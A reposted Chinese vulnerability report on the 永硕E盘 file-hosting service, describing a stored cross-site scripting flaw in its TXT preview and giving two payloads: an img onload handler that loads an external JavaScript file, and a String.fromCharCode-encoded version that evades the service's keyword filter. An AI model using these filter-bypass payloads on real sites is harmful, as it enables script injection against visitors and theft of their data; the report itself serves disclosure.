来源:自学PHP网 时间:2015-04-17 14:11 作者: 阅读:次
[导读] 永硕E盘具有直接打开用户上传的TXT文档功能,打开TXT时服务器只对文本内容中的script等关键字进行过滤,只需要利用String.fromCharCode功能对相关关键字进行编码,就能绕过该限制,直接在...
永硕E盘具有直接打开用户上传的TXT文档功能,打开TXT时服务器只对文本内容中的script等关键字进行过滤,只需要利用String.fromCharCode功能对相关关键字进行编码,就能绕过该限制,直接在当前页面调用外部JS文件。如果将该TXT文件取个有诱惑性的名字引人点击,同时偷偷打开外部特定的JS脚本,该漏洞可能引发较为严重的后果。
漏洞证明: 1、打开http://52wooyun.ys168.com/ ,点击“可直接执行脚本跨站”目录,该目录下有两个已经上传的TXT文件 其中“未经编码的原脚本.txt”的内容为: <img src='http://www.baidu.com/img/baidu_logo.gif' onload='var s=document.createElement(script);s.type=text/javascript;s.src=http://www.toolmao.com/tool/qqmail.js;document.body.appendChild(s);'/> 另一个“编码后可绕过执行脚本.txt”的内容为: <img src='http:// www.2cto.com /img/baidu_logo.gif' onload='var s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);s.src=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,116,111,111,108,109,97,111,46,99,111,109,47,116,111,111,108,47,113,113,109,97,105,108,46,106,115);document.body.appendChild(s);'/> 两个文件的内容实则是相同的,后者只是对前者进行了String.fromCharCode编码。 2、直接打开第一个原脚本文件,跳出来一个空白页面,没有任何反映 3、直接打开第二个编码后的文件,跳出页面的同时,调用了http://www.toolmao.com/tool/qqmail.js 这个脚本文件。 修复方案: 对String.fromCharCode功能进行限制。 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com